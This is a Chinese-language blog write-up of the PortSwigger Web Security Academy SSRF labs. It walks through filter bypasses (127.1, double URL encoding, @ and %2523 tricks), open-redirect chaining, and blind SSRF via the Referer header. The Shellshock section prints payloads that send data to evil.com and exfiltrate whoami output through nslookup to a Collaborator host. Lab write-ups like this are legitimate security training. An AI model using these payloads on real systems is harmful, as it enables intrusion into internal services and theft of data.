PortSwitgge(burp靶场)-SSRF

Basic SSRF against the local server

根据题目提示,检查商品库存时更改URL为http://localhost/admin,并删除用户carlos

首先使用yakit抓包发现检查库存的URL并将其修改为http://localhost/admin

显示如下图,点击删除用户carlos

发现无法成功删除用户,提示需要以管理员用户登录或以回环地址请求

重新使用检查库存的按钮进行修改删除用户

成功删除

Basic SSRF against another back-end system

根据题目描述在检查库存功能进行扫描192.168.0.x:8080,删除用户carlos

使用yakit进行设置参数查找,发现当x为17时可以成功删除

成功删除用户

Blind SSRF with out-of-band detection

根据题目表述需要在加载商品页面下的Referer参数指定URL,并且需要使用burp的collaborator进行操作,首先在bp中的collaborator下生成一个payload,并且复制到粘贴板中

对加载商品页面进行抓包处理,找到Referer参数,将其修改为刚刚生成的网址

回到collaborator界面下点击立即轮询,看到请求信息

成功解决

SSRF with blacklist-based input filter

开发人员部署了两个弱反SSRF防御,需要绕过并访问http://localhost/admin删除用户carlos

直接修改stockApi发现被拦截了

将localhost修改为127.1并将a进行双URL编码为%2561

将其修改为http://127.1/%2561dmin/delete?username=carlos后点击放行成功删除

SSRF with filter bypass via open redirection vulnerability

提示库存检查器被限制访问本地应用程序,我们需要先找到影响该应用程序的开放重定位。发现右下角的next product按钮有重定位的功能,抓包查看下

将这个位置在stockApi中传入,发现可以成功看到管理员界面

构造payload/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

成功删除用户

Blind SSRF with Shellshock exploitation

根据题目表述我们需要将Referer参数修改为192.168.0.x:8080,其中 x 不确定,需要爆破得知。通过使用shellshock,最终要得到用户名。

首先我们要去了解一下shellshock漏洞(CVE-2014-6271)是怎么回事,通过查阅资料了解到该漏洞的利用方法为在处理某些构造的环境变量时,向环境变量值内的函数定义后添加多余的字符串会触发。使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

payload1:env x='() { :;}; echo Shellshock' bash -c "exit"

payload2:() { :; }; echo 1 > /dev/udp/evil.com/53

由于我们需要知道用户名,所以我们构造payload时需要让其显示用户名,即为whoami命令。由于这题是盲注,所以通过查找域名解析服务器进行返回,因此我们构造的payload为() { :; } /usr/bin/nslookup $(whoami).Collaborator服务器,还需要将Referer参数进行爆破处理,具体的如图所示。

爆破的参数直接设置为数值型,1-254即可,进行爆破后再到 Collaborator 中查看,成功找到用户名。

成功解决

SSRF with whitelist-based input filter

根据题目描述需要更改检查库存的URL为http://localhost/admin并删除用户carlos

我们首先点击检查库存按钮后,将URL修改为http://localhost/admin发现直接报错。提示主机必须为stock.weliketoshop.net

根据@绕过我们可以构造为http://localhost@stock.weliketoshop.net

尝试中间用锚点#来分隔(锚点的作用:请求指定资源的子资源,点击指定的链接时候跳转到指定的位置),发现又出现了之前的报错

尝试使用双URL编码进行过滤,发现可以成功过滤

构造payload为http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos,成功解决

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值